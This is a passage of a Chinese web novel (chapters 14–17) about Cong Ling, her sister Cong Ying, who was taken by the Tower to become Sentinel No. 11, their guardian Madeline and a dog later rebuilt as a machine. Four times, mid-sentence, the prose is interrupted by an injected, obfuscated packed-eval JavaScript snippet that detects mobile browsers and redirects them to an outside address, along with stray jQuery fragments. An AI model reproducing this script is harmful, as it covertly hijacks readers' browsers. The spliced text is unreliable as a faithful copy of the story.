据说,第十一号哨兵和他们不同,不是出生于培育中心,而是来自塔台外部。 她并非一开始就作为特殊人才培养,而是在外界成长起来,那么,在她来到塔台之前的那些年里,她和丛泠有过什么交集吗? 第十三号哨兵手里捻着一层墙灰,这是在事故的第一现场采集到的,他分辨着上面残留的生物信息,追踪到了事故发生时,在房间外站岗的两位士兵。 这两位士兵,直面了哨兵失控的情景,受到不小的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322304|167535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 精神冲击,现在精神恍惚,正准备接受心理辅导,顺便接受与事故相关的补充调查。 他们被带进了一间审讯室。 第十三号哨兵没有接近那间审讯室,他隔得很远,站在几条走廊之外,是一个无人注意到的位置,但足够他听清房间内的对谈。 一个士兵说,今天一切正常,第十一号哨兵结束了她的日常训练,正按照惯例,和她的负责人进行一些生活上的沟通交流,一切都很和谐友好。 另一个士兵补充道,第十一号哨兵和她的负责人关系一直是友好融洽,比起塔台内的其他哨兵,第十一号在生活中十分温和顺从,也很好沟通。 审讯人敲了敲桌子,让他们再仔细想想,有没有什么被忽视的细节。 房间内陷入了沉默。 过了大概十分钟,第一个士兵开口了,他说,如果非要说有什么不寻常的事情——哨兵的负责人主动提起了新员工的培训问题,在平时,负责人只会关注自己管理范围内的这一个哨兵,不会提起其他人。 新员工的培训问题? 士兵肯定地说:“是的,就是这样,第十一号哨兵原本情绪很稳定,只是在看到一份名单之后,忽然有了强烈的精神力波动,在有意识……嗯,在无意识的情况下,向对面的负责人发起了攻击。” 审讯室内又陷入了沉默。 又过了几分钟,审讯人让士兵们离开,自己在事故报告上写下一行早就准备好的结语:非故意伤害,常规意外。 第十三号哨兵挪动了位置,换了一个能看见审讯室窗口的地方。 隔着很远的距离,掩映着的几层窗户,他看见审讯室的办公桌上摊开了一份名单。 那是从事故现场回收的资料,是一份新的入职名单,分为普通职员与特殊职员。 普通职员人数众多,而特殊职员下只有一栏,登记了近三个月里,唯一的一个资质合格的向导备选人,丛泠。 第十三号哨兵收回目光,离开了这条走廊,回到塔台顶层。 * 是夜,第十三号哨兵自行脱离了休眠仓,悄无声息离开顶层,没有惊动任何人。 他提前拿到了钥匙,打开资料室的门,找到哨兵所属的资料架,取出一份编号第十一号的档案袋。 纸质资料有厚厚一叠,记录了哨兵的每一次训练,每一次任务。 他直接翻到最后一页,发现那是一张薄薄的发黄的纸片。 那是只有从外部引进的哨兵/向导才有的基础资料,记录了他们原本的生长环境,基础家庭背景。 这张纸薄而脆,看上去已经年代久远,上面的信息甚至是手写。 内容不多,只有几行。 —————— 哨兵第十一号 姓名:丛影 异能觉醒年龄:??? 进入塔台年龄:十六岁 是否自愿加入塔台:…… ——————— 最后一行的信息有点奇怪,字迹斑驳,有几处涂抹,看上去是反复修改了好几次。 但无论如何,最后的结果写着“是”。 15. 第 15 章 丛泠很少做梦,几乎从不做梦,但这天晚上,她做了一个梦。 她梦见了小时候的家,某个夏天的傍晚,她靠在院子里的简易秋千上,天上忽然有雨掉下来,砸在她的额头,冰冰凉凉。 这称得上是一个美梦。 事实上,十岁以前的生活,本身就已经是一场美梦。 * 丛泠记事很早,从她学会说话开始,她就对身边发生的一切有了清晰的感知。 她的家庭结构很简单,家庭成员只有三个:她、姐姐,还有玛德琳。 丛泠和丛影是一对同父同母的亲生姐妹,但她们的父母早已离世,临终前把她们托付给了毫无血缘关系的玛德琳。 丛泠没有见过自己的父母,姐姐丛影比她大五岁,她猜想姐姐或许见过,但姐姐不常提起父母,可能是记忆已经模糊了。 丛泠偶尔会从玛德琳口中听到关于父母的事。 玛德琳告诉她,你们的父母是一对好心泛滥的倒霉蛋,为了从列车上救下几个陌生人,莫名其妙弄丢了自己的生命。 不过呢,他们也不算完全倒霉,比如,他们这样只知道宅在家里的书呆子,竟然能够结识一个像玛德琳这样聪明美丽潇洒的至交好友,实在是幸运至极啊。 一般来说,话题到这里就结束了,但丛泠不像姐姐那样体贴懂事,不知道见好就收,总会拽着玛德琳继续追问,想知道更多关于父母的各种细节。 玛德琳有时候会多讲几句,但更多时候,玛德琳抽不出时间搭理她,就抽出一叠钞票,让丛泠自己去数钱玩。 丛泠很喜欢玛德琳,认为她美丽而神秘,只是有时候过于神秘了,玛德琳每天都行踪不定,很早出门,很晚才回家,回来的时候身上还带着风尘仆仆的味道,难道她去了很远的地方? 玛德琳不会解答这些问题,她只会再抽出一叠钞票,让丛泠拿去随便花。 好吧,丛泠积攒下很多的零花钱,变得非常富有。 可是这个偏僻的小镇,根本没有可以花钱的地方。 这是一个靠海的小镇,空气湿润,风景秀丽,夜里能听见海潮翻涌的声音。 小镇上住的人很少,大家都不爱出门,出门也无事可干,大家都是自给自足,也不会相互交易往来,最大的娱乐,可能就是自家人在院子里游荡。 丛泠感觉这非常无聊,她喜欢热闹,虽然没有感受过真正的热闹,但她在故事书里读到了很多,因此十分向往。 丛泠也喜欢和姐姐一起玩,但姐姐是一个喜欢安静的人,比起和丛泠待在一起,她更喜欢独自坐在海边,看着平静无波的海岸。 丛影比丛泠大五岁,这几年的差距,似乎也造就了她们性格上的差异,丛泠总是无忧无虑,但丛影的脸上,似乎总带着一些忧愁。 丛泠不理解,也不明白,她问姐姐为什么总是不开心,姐姐常常是避而不答,但这一天,她回答了丛泠的问题。 丛影说:“外面的世界越来越糟糕了。” 丛泠一愣,看着窗外空无一人的街道,不太明白。 其实她也多少听说过世界的变化。 首先是自然灾害增多了,一次次天灾之后,部分幸存者拥有了异能,这些有别于普通人的特殊能力让他们变得更强,得以在之后的危险中又一次存活。 有部分人摸索出这份规律,以更积极的态度面对天灾,甚至是“迎接”天灾,但是,天灾带来的辐射并不都是好的结果,也出现了很多被异能反噬的人。 他们有的死了,有的开始了异化与畸变,变成了逐步丧失人形的怪物。 随着世界的崩坏,塔台建立起新的秩序,他们有武装部队,有先进科技,愿意保护更多脆弱的人。 塔台把那些发生畸变的人称为“异兽”,他们把异兽驱除出人类族群,重新建立起更安全的城区,再从人群中筛选出强大异能者,守护新的城池,保护幸存的人们。 这是一种有效的应对办法。 但世界仍然在往坏的方向不断崩塌,天灾时常发生,大批量的异变时常发生,异兽潮变得越来越频繁。 为了守卫城池,应对更多的灾难,塔台不得不人为制造更强大的异能,但异能只是小概率事件,很多时候,只能交给命运。 当然,目前看来,塔台控制住了一切,把正负两面维持在一个微妙的平衡,未来还是光明的,值得展望。 丛影摇了摇头,她说:“我不认为未来会变好。” 丛泠更不解了,她又看了一眼窗外,视野的最远处,只有海,只有风,除此之外什么都没有。 “可是这些事和我们又有什么关系呢?”丛泠说:“我们这里,连一个陌生人都没有。” 丛影摸了摸她的头,对她笑了笑,说:“好吧,是我想太多啦。” 对于丛泠来说,生活就像一片小小的池塘,永远那么平静而柔软,但又被框在一个四四方方的空间。 她很想去更远的地方,更新鲜的地方,去看看那些从来没见过的,灯火辉煌的城市。 但也只是想想而已,玛德琳常常严肃地告诫她们,不允许离开小镇一步,外面的世界很危险。 嗯……听了这话,丛泠也开始像姐姐那样忧愁起来。 好在,第二天就是丛泠六岁的生日,她收到了一份很珍贵的礼物,立刻又开心起来。 玛德琳又一次早出晚归,带回来一只黑色的雌性小狗,送给了丛泠。 “哇!”丛泠抱着小狗,爱不释手,原来小狗真的就像童话书里描述的那样,很轻、很软、很热,蜷缩在人的胸口,像一团小小的太阳。 “小玉,乖狗狗。”丛泠抱着小狗睡觉,夜里听见它轻轻的呼吸。 小玉长得很快,很快从小狗狗变成了大狗狗,原本斑驳的毛色也有了变化,变得漂亮威风。 原来它不是一只灰扑扑的小黑狗,而是一只威风凛凛的名种犬,小玉被取了这样可爱的名字,但它其实是一只性格冷酷的德国牧羊犬。 嗯……也不一定是真的冷酷,只是小玉长得太快,三年之后,它已经长到了丛泠的胸口,丛泠依然是个小孩子,小玉却已经是一只成熟的狗狗了。 小玉长大之后,变得高冷起来,不再喜欢别人摸摸蹭蹭,它选择站在稍微远一点的地方,替主人放风,血液中的本能驱使着它,让它担任起一个保护者的角色。 丛泠只好再把它抱回来,我们这个地方实在没什么危险啦。 小玉的到来,带给丛泠很多快乐,但也有一些小小的不愉快。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15330773|167535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 因为,丛泠发现,现在就连小玉都可以跟着玛德琳出远门,她却还是不能。 虽然小玉很快就回来了,仿佛从未出去过,但丛泠闻到了小玉身上非比寻常的味道,是一种复杂的,新鲜的,带着很多信息的味道。 丛泠已经九岁了,马上就要十岁了,去过的最远的地方,竟然就是院子后面的一片海滩。 这天晚上,丛泠心情郁闷,睡不着,睁着眼睛看着天花板,忽然听见了黑暗里的桨声,木桨划过海浪,起起伏伏,时高时低。 丛泠的感官一向很灵敏,她也常常听见夜里很远地方传来的海潮声,但却从来没有听见过这种声音,她有点害怕,爬起来去敲姐姐的房门。 很久没有人应,她用力推开门,却发现姐姐的房间空无一人。 丛泠又跑去玛德琳的房间,发现玛德琳也不在家。 丛泠开始有点慌乱,她在家里转来转去,还吵醒了小玉,她抱着小玉思考了一会儿,决定自己出门看一看。 小玉咬住她的裤脚,不准她走,她只能一步一步使劲往外挪,她正在家门口和小玉拔河,院门处传来动静,是姐姐回来了。 丛影轻手轻脚地走过来,看见家门口的这一幕,有点意外,责问了她一句,“这么晚了,为什么还不睡觉?” 丛泠不可思议地看着她,丛影身上带着海浪的味道,她的衣角、裤脚都有湿漉漉的海水痕迹,鞋底有泥沙……刚刚听到的声音是姐姐!她一个人划船,划到了海上! 丛影注意到她的神情,无奈地承认了,“玛德琳半夜出门,我不放心,所以跟上去看了看。” 这不公平! 丛泠生气地跺脚,你们所有人都可以出去,去小镇之外的地方,为什么偏偏不允许我往外多走一步? 丛影很了解她的想法,也明白从小到大,丛泠最大的心愿就是去更远的地方玩。 所以,即使丛影今晚的行为有很多正当的理由,但此时面对妹妹,她还是有点愧疚与心虚。 丛泠生气了,这次是真的生气了,她变得很不开心,不想说话,就连姐姐主动邀请她一起玩,她都假装没听见。 她这一场气生得可真够久的,足足有三个月。 其实,一个星期的时候,丛泠已经不生气了,但面对玛德琳和姐姐,她还是要装出一副很生气的样子,来表达她内心的委屈。 你们都不爱我,丛泠又开始抱着小玉睡觉,她睡不着,难过地胡思乱想。 姐姐终究还是很宠爱她的。 这天晚上,姐姐悄悄走进了丛泠的房间,和她商量,明天等玛德琳出门之后,我们看看天气如何,如果是个晴天,我就带你去最近的那座城市逛一逛。 真的吗!丛泠的眼睛一下亮了起来,她快乐地扑进姐姐的怀里,小玉也被她压在怀里,呜呜叫了起来。 第二天是个大晴天。 这天的阳光无比灿烂,简直有些耀眼了,海面泛起金色的波光。 丛泠牵着姐姐的手,带上小玉,刻意避开玛德琳离开的方向,划着小船去到港口,又从港口搭乘了去城市的电车。 丛泠抱着小玉,两颗头一起探出车窗外,阳光洒在她的脸庞,微风吹动她的发梢。 真是美好的一天。 16. 第 16 章 真正踩上城市街道的那一刻,丛泠忽然发现,这里和她想象中完全不一样。 这里的人……都很奇怪,当然,并不是说他们长相奇怪,只是,他们身上的情绪很不一样,走在路上,好像每个人都戾气横生,散发着冰冷的恶意。 尤其是,他们中的一些人,会忽然盯着丛泠和丛影看,审视她们的衣着打扮,还有她们那双美丽的、幽冷的绿色眼睛。 丛泠下意识低头,躲避那些意义不明的目光。 丛泠小时候也曾经问过玛德琳,按照种族来讲,自己和姐姐的眼睛似乎不该是这种颜色? 玛德琳哈哈大笑,告诉她,没办法呀,你们的父母分别来自地球的两端,你们两姐妹是混血儿,这只能说是造物主的安排,多美丽的两双眼睛,感到高兴还来不及呢。 丛泠想起玛德琳的话,又重新抬起了头,她决定无视那些奇怪的目光,没办法,这世界上并不是所有人都懂得礼貌。 这里的建筑高大而规整,街面整洁,还有很多漂亮的橱窗,但丛泠已经没有心思去看。 才逛了没多久,丛泠已经想回家了。 不过,走了这么远的路,好不容易来一趟,就这么掉头回家,似乎又很不值得,丛泠还是想去体验一下那些期待已久的新鲜事物。 姐妹两人都带了满满一兜钞票,准备给小玉买点好吃的,也给自己买点好吃的。 丛影环顾四周,选了一家顾客最少的甜品店,推门进去,找了个靠窗的角落坐下,让丛泠和小玉先坐下,她去柜台点单。 丛影没有看菜单,直接点了两杯热巧克力,以及一块可以调和口味的小蛋糕。 丛泠对于食物的喜好比较单一,喜欢这种温暖甜腻的口感,丛影没什么特别的偏好,但她习惯了和妹妹一起。 更何况,这个味道也是久违了,自从家里多了一个小玉,就再也没有买过巧克力,或者任何含有巧克力的制品。 饮品还在制作,丛影先端着一份蛋糕回到了座位,她微笑着把碟子推到中间,正想说话,却发现妹妹的脸色变得很古怪。 丛影在丛泠眼前招手,好一会儿,丛泠才回过神来,她像是被吓了一跳,抓住姐姐的手,说:“我刚才看见……” 看见什么了? 丛泠用力闭了闭眼,又猛地摇头,似乎想要遏制脑子里的画面,但她还是清晰地看见,一条深巷里,一对瘦弱的中年夫妻正在遭遇抢劫。 他们被一群无赖围堵殴打,财物被抢光,衣服被撕扯,已经打得头破血流,但施暴者还是没有停手的意思,他们身后有行人路过,对此熟视无睹,似乎这种事司空见惯,无论是抢劫还是杀人都没人在乎。 丛泠忽然感到一阵头痛,她眼前有几副画面不断切换,像是一件事的录影在倍速播放,她不明白,这是幻觉吗? 她定了定神,看见眼前的玻璃窗,这是一个靠窗的位置,窗外对着一条巷口,这条巷口和刚才画面里的巷子重叠在一起,是同一个地点。 但是,眼前的巷口十分平静,并没有一个行人经过。 丛泠深呼吸片刻,她拍了拍胸口,说道:“没有,我刚才觉得有点头痛,但现在已经好了。” 丛影笑了笑,接过服务员端来的热巧克力,推到丛泠面前,说道:“小孩子半夜不睡觉,不仅会头痛,还可能长不高。” 丛泠不太高兴,但也不敢反驳,她说:“哦。” 热巧克力气味浓郁,熏烤得这张小小的卡座也是带着甜香,丛泠慢慢放松了心神,小声地哼起了歌。 丛影双手握着杯子,她低下头去,假装没看见从店内另一侧投来的几道视线。 那是几个身着制服,胸前挂着绶带的人,他们周身的气质和这家店格格不入,不知怎么会出现在这里。 丛影确信,她们推门进店的时候,这群人还不在这里,她只是离座点单的这一会儿功夫,店里就多了这么一群奇怪的客人。 那是塔台的人?丛影忍不住猜测。 丛影快到十六岁,身形比同年龄的女孩要高挑,看起来也冷静内敛,十分成熟的样子,但说到底,她也只是个小小少女。 只是,比起懵懂的妹妹,她已经知道了很多玛德琳试图藏起来的事。 比如她和妹妹身上的异能,比如玛德琳对塔台的躲避,虽然不知道更深层次的原因,但她敏锐地察觉到,玛德琳之所以带着她们两姐妹住在偏远的地方,最大原因,就是想要避开塔台。 现在这间平平无奇的甜品店忽然出现了一批疑似塔台成员的人,让丛影有些紧张,她没有表现出来,只是暗自加快了进食速度,打算尽快离开。 银叉插在蛋糕里,撞到餐盘,响起清脆的碰撞声,丛影诧异抬头,发现妹妹忽然浑身一抖,差点打翻桌上的杯子,就连坐在她脚边的小玉都被吓了一跳,抖擞着站起来,关切地看着主人。 丛泠还是那种满面惊惶的样子,她看见了,这次不再是脑子里的幻象,而是真实的画面,她看见对面窗外,原本平静的巷口,忽然走来了一对瘦弱的中年夫妻。和“幻象”里一模一样的一对夫妻。 丛泠眼神飘忽,她想看得更清楚,却又不敢看,这是什么意思?这对夫妻走入巷口,就像是刚才幻象的倒带播放,那么接下来会发生什么,巷子里藏着坏人吗,他们会变成刚才那种头破血流的样子吗? 她双手一紧,是姐姐用力攥住了她,丛影按住她颤抖的手,镇定道:“发生什么了?别害怕,我在这里。” 丛泠努力组织语言,但一句完整的话也说不出来,她觉得自己很奇怪,世界很奇怪,她似乎并不了解自己的身体,她的身体也不由自己掌控。 但现在最重要的不是这个,丛泠看向巷口的方向,她说:“那里……那里好像有坏人。” 好人与坏人,在丛泠眼里是截然不同的两个阵营,她讨厌坏人,喜欢好人,她希望成为父母那样善良的人,成为像玛德琳那样厉害的人,也希望成为像姐姐这样温柔而勇敢的人。 丛泠着急地反握住姐姐的手,希望她能明白自己的意思。 丛影脸色变了,她当然看不到巷子里的画面,但她已经听到了那些被压抑的呼痛的声音。 丛影一直都知道自己是特殊的,她身体素质极强,从不生病,耳聪目明,思维敏捷,虽然无处施展,也无从证明,但她明白自己是特殊的。 丛影回过头,她看了看那群穿着制服,配着绶带的人,他们正在闲聊说笑,似乎只是路过,不关心坐在这个店里的其他人,也不关心外面正在遭受暴行的路人。 随着塔台制度逐渐建立,大家都一心抵御外敌,不在乎城市本身的治理。 一个安全居所谁都想占据,但地方就那么大,人却那么多,为了争夺地盘,争夺钱财,发生什么都是常事,塔台根本不加理会。 丛泠大概也意识到什么,她不想眼睁睁看着一桩惨案发生,但也不希望让姐姐冒险,她们能做什么呢?她们什么都不知道,她们是第一次来到这座陌生的城市。 但丛影已经站了起来,丛影低头摸了摸小玉的头,又转过来,对妹妹安慰地笑了笑,她说:“我去看看,你和小玉就在这里等我。” 丛泠忽然感到一种强烈的不舍,她看着姐姐的背影,却说不出阻止的话。 姐姐永远那么冷静淡然,姿态优雅,丛泠第一次意识到,原来姐姐也是骄傲的。 当她有能力去提供帮助,就绝不会坐视不理,即使这件事原本和她毫无关系,即使这件事可能带给她新的危机。 丛泠坐在原地,紧张地抓住了小玉的两只脚,她脑子里的幻象不见了,似乎被外力打破,中止了进程,但她忽然感到另一种不安,不明缘由,但来势汹汹。 下一秒,丛泠眼前的光线被遮住了,一群身着制服,严肃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15347469|167535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷峻的人站在她面前,面无表情,俯视着她。 …… 这一天究竟发生了什么事,丛泠有点记不清了,又或者,她是记得太清楚,每一幅画面都刻在脑子里,每次回忆都会带来新的痛苦,所以她不愿意再回想。 那群莫名奇妙的人忽然来抓住她的肩膀,肌肤相贴的一瞬间,一种强烈的痛苦钻进丛泠的脑子里,她控制不住地尖叫起来,那群人先是警惕地退开,随后发现她只是色厉内荏,根本没有任何反抗能力。 他们再度尝试抓住她,与此同时,姐姐回来了。 姐姐挡在她的面前,但姐姐的反抗在他们看来也是不堪一击。丛影可以轻易制服几个地痞流氓,当面对训练有素的塔台士兵,她的力量显得如此微弱。 甜品店里早已空无一人,这片角落寂静极了。 然后发生了什么,丛泠真的想不起来了,她闭上了眼睛,她脑子里剧痛无比,越来越多的幻象汹涌而来,她看到姐姐也穿上了同样的制服,她看到了一座黑色的塔,她看到了…… 她什么也看不到了,一捧滚烫的血洒在她的脸上,小玉的身体被扔在她脚边,依然是温热、柔软的一团。 小玉死了,姐姐被抓走了,一片混乱,好多人,好多声音,好多画面,好多血。 从那天之后,丛泠再也没见过姐姐。 紧急赶来的玛德琳只来得及带走了丛泠,以及小玉的尸体。 丛泠睡了漫长的一觉,她再醒来时,发现自己躺在家里的卧室。 一切好像都没有变,只是房间里变得格外安静。 玛德琳坐在她的床边,手里握着一枚脏脏旧旧的戒指,夕阳西下,洒在这间空空荡荡的房子。 玛德琳什么话也没有说。 * 再后来,玛德琳告诉她,姐姐加入了塔台,她会成为一个英雄,她生来就是一个强大勇敢的人,待在塔台,发挥她全部的力量,可以保护更多的人。 可是,如果是这样,为什么玛德琳提起塔台的时候,总是用那种痛恨的语气。 不可以不去吗? 玛德琳摇了摇头,说:“你不明白。” 丛泠曾经怀疑过,玛德琳和姐姐,是不是隐瞒了自己很多事,她们是否和塔台暗中达成了什么协议。 但这些话,她根本不敢问,丛泠想,她一直是个怯懦的人,虽然这么想了,但她非常害怕自己的猜想被证实。她什么也做不了,她一直都是一个躲在家人庇护下,无能的人。 她最害怕的,是姐姐会恨她。 随着一天天长大,丛泠也逐渐发现了自己的特殊之处,她明白自己的存在本身就是一个需要掩盖的秘密。 她和姐姐没有经历过任何一次天灾,应该也没有血液上的传承,不知道异能是从何而来,只是天赋吗? 丛泠很久没见到姐姐了,偶尔,她会试着想象姐姐的样子,但是时间太久,她真的快要记不清了。 在今晚的这个梦里,她又见到了丛影,她不敢靠近,她只敢站在远处,小声地问:“姐姐,是我做错了吗?” 如果不是我那么吵闹,那么任性,那么无能,那么幼稚,你也不会被塔台发现,你也不会被带走。 丛影静静地看了她一眼,她说:你不会有错。 丛影苦涩地笑了,她像是不愿意再看她,转过身去,说:玛德琳总是更喜欢你,你怎么会有错呢? 丛泠从梦中惊醒,也是在这一刻,她才能确信自己是在做梦,因为,姐姐是个太温柔的人,即使真的怨恨她,也不会忍心对她说这么残忍的话。 丛泠翻身坐起,宿舍里一片寂静,一点月光从窗外洒到了桌前。 笃笃笃——忽然传来了敲门声。 丛泠打开门,看见门外夜色深沉,一列士兵站在门外。 士兵们面目模糊,只是用冰冷的语调告诉她,有人要见你。 17. 第 17 章 丛泠穿过一条灰色走廊,被带到了一扇门前,士兵们都迅速散开,这里只剩下她一个人。 丛泠思绪起伏,脑子里闪过很多猜想,这么晚了,是谁要见她? 是罗拉?因为她擅自离开,违反了日常训练的规则,影响了塔台的纪律? 还是第十三号哨兵?因为她自顾自地,忽然丢下他跑了,破坏了他的心情,他心怀不满,所以找她的麻烦? 还有什么可能性呢,还有什么人呢,丛泠努力编造了很多种可能,很多个理由,唯独绕开了那一个选项,避开了那个自己最想见到的人。 姐姐不会见她的,无论是为了隐瞒她们之间的关系,还是仅仅出于她的个人意愿。姐姐一直是个谨慎的人。 她不会想见自己的,自己总是在不断地闯祸,带来新的麻烦,让事情变得更糟。 丛泠站在这里,心里有些茫然。 不过,她脸上还是一派镇定,她没有犹豫多久,推开了门。 …… 房间里是一个完全在意料之外的人。 这是个大而空的房间,几乎没有什么家具,除了天花板上的一盏灯,就只有两张椅子。 那盏灯亮度有限,只照亮了一小片区域,此时正坐在椅子上的那个人,一半面孔都陷在阴影中,浅金色的头发下,隐约露出眼皮上的一道疤痕。 丛泠认出了他,是那个在事故现场抱住姐姐的人,按照罗拉的说法,他是……姐姐的向导? 其实丛泠看不清他的脸,但记得他看向自己的眼神,那种防备的,警惕的,仔细一看,还带着一丝厌恶的眼神。 “是你。”那个陌生的金发青年快速打量了她一圈,评价道:“我看不出你有哪里特别,值得她那么挂念。” “她?”丛泠一怔,上前一步,“你是说,她?她在哪里?” 金发青年轻蔑一笑,“我知道——你是她的妹妹,她告诉我了,你们有血缘关系。” “但这有什么了不起,所有从培育中心出来的人,身上也都流淌着相似的血液,没人会在乎,所以,这到底有什么特殊之处?” 丛泠四处张望,仔细看过各个角落,失望地发现,这里确实只是一个独立的房间,并没有什么可以容纳其他人的隔间。 看来今晚是见不到姐姐了。 既然这样,丛泠也不想再多待,她看向面前的人,直接问道:“你找我有什么事?” 金发青年显然对她没有多少善意,却又按耐着情绪,沉默地看了她一会儿。 丛泠转身要走,见状,金发青年终于开口了,“我只是想知道,你是故意的吗?” 丛泠没明白这话是什么意思,“你是指什么?” 金发青年霍然起身,一大片阴影投在丛泠身上,“你故意进入塔台,故意刺激她,故意勾起她那些不想回忆的往事。” 金发青年的脸上带了些与长相不符的怨毒,“你总是在故意伤害她。” 丛泠皱起眉,这个人的这些话让她感到很不适,先不管话里的内容是多么荒谬,最重要的是,他有什么资格,以什么立场对她说这些话? 丛泠也想冷笑了,她看着对方的眼睛问:“这是我和姐姐之间的事,和你有什么关系吗?你以为你是谁?” 金发青年也露出一种防御性的姿态,他退开两步,加重了语气,“她早就脱离家庭,不再是你那个可有可无的姐姐。” “至于我——”金发青年昂起头,神情中带着骄傲,“我是她唯一的向导,我们相爱,我们关系密切,我们之间的牵绊不可分割,我和她才是永远的命运共同体。” 什么东西,丛泠很想泼他一盆冷水,只可惜这里没有工具,她只能冷冰冰地问一句,“这是你单方面的臆想吗?” “你!”金发青年肉眼可见地愤怒了,他两侧的手捏成拳,又松开,说道:“果然,你真的就像她口中说的那样,那么讨厌。” 丛泠有点不耐烦了,她当然不会听他单方面的挑拨离间,但是,她真的不明白,如果他真的是姐姐的向导,如果真是绑定的唯一的向导,关系这样亲近……他为什么看上去这么蠢? 丛泠不想再和他进行这种无意义的对话,她说:“别再来烦我。” “等等——”丛泠已经站在了门边,那个人又一次叫住了她。 金发青年的脸色有些古怪,不情不愿地对丛泠说:“我的名字是伊文。” 丛泠莫名奇妙地看着他,金发青年勉强抽了抽嘴角,“你叫我伊文就好,你如果遇到什么困难,可以来找我,她……我会尽力提供帮助。” 丛泠等了一会儿,确定他没有别的话要说,她推门走了,临走前对他说:“不用了。” 门被关上,锁芯扣下,伊文站在门边,安静地听了一会儿,直到脚步声彻底消失在这条走廊,他才走到房间的角落。 他对着空气说:“她走了。” 这片空间并没有另一个人,他看上去只是在自言自语。 但片刻后,他的精神图景里,有一个声音回应了。 那是一个女声,她说:“别那么幼稚,伊文,下次见到她,对她温柔一点。” 伊文满脸的抗拒,但他还是答应道:“好吧,好吧,我会的。” 那道沉静的女声笑了笑,带着叹息,在伊文的精神图景泛起一圈圈涟漪。 * 丛泠回到宿舍,一头栽倒在床上。 她心情郁闷,实在是很讨厌那个莫名其妙,试图宣示主权的金发男。 真是太可笑了,他以为他很重要吗?他以为他现在离姐姐近一点,就真的可以占据姐姐心里最重要的位置? 丛泠用力锤了几下枕头,动作一顿,心里的愤懑忽然又变成了难过。 当时在事故现场,她看见姐姐被一个陌生男人抱在怀里,就感受到一种强烈的陌生感。 她是在那时候才意识到,十年过去了,这么漫长的一段时间过去,再熟悉的人,也有了自己新的生活。 她们不再是最亲近的家人,姐姐似乎已经有了一个新的,稳固的“家庭”。 丛泠翻过身来,盯着模糊昏暗的天花板,房间里没开灯,稀薄的一点月光,映出她湿润的一双眼睛。 丛泠快速眨了眨眼,让薄薄的一层泪液迅速消散。 无论如何,看那个金发男的样子,姐姐应该是恢复良好,不再是那种虚弱狼狈的状态。 这样就很好,哪怕姐姐不愿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15357286|167535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意见她,知道这一点,就足够了。 手边传来一阵轻柔而冰冷的触感,是小玉,小玉跳上了床,趴在丛泠的手边。 丛泠笑了笑,把小玉抱在了怀里——小玉现在的体型真是小了不少,如果还是从前那种威风凛凛的体型,这张单人床大概是装不下它。 丛泠抚摸着小玉的金属脑袋,又想起了一些尘封已久的事。 那个向导金发男——好吧,伊文,他说,姐姐被刺激到,不得不记起那些尘封的记忆。 其实,对于丛泠来说,也是一样。有很长的一段时间里,她都想不起曾经发生过的事。 从十岁到十三岁,还是十五岁?记不清了。 那几年对于丛泠来说像是空白的,她的记忆仿佛断裂了,缺失了,又或者被什么东西干扰了,她什么都记不起来。 她没有任何行动的力气,没有任何行动的意愿,她整天不吃不喝,不动,也不说话。 她很快消瘦下去,在这个本该茁壮成长,快速发育的青少年阶段,她差点走到死亡的边缘。 玛德琳带着她搬了几次家,也和她严肃地谈了几次话——终于,在姐姐离开这个家之后,玛德琳似乎也把丛泠视作了一个大人看待。 玛德琳不再试图做一个掌握一切、掩盖一切的长辈,而是愿意揭露一点真相,和她平等交流了。 但丛泠始终没有好起来,玛德琳的劝慰她一句也听不进去,她每天都在后悔,为什么,为什么。 直到——小玉被玛德琳带了回来。 小玉死了,确实死了,它的尸体就埋在那个靠海的院子里,但它又真的回来了,以另一种存在形式。 玛德琳告诉丛泠,她联系到了以前的一个老朋友,那个老朋友是个优秀的机械师,TA复制了小玉的部分基因信息,重新制作了一个仿生大脑,并给它安装了一副新的机械身体。 就这样,小玉获得了一份新的生命,一份更坚固,更绵长的生命。 小玉走进家门,像从前那样亲亲热热地跳进丛泠的怀里,仿佛一切都没有改变,除了它的身躯变得冰冷,再没有温度。 